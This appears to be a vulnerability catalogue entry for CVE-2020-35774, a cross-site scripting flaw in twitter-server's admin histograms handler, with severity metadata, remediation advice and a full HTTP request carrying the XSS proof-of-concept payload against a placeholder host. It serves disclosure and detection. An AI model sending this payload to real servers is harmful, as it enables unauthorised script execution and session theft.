| Title | twitter-server Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement. |
| Remediation | Apply the latest security patches or updates provided by Twitter to mitigate the XSS vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.81158 |
| CVE ID | CVE-2020-35774 |
| CWE ID | CWE-79 |
| Tags | cve2020 cve xss twitter-server twitter vuln |
twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.
GET /admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35774.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-35774.pcap
N/AN/A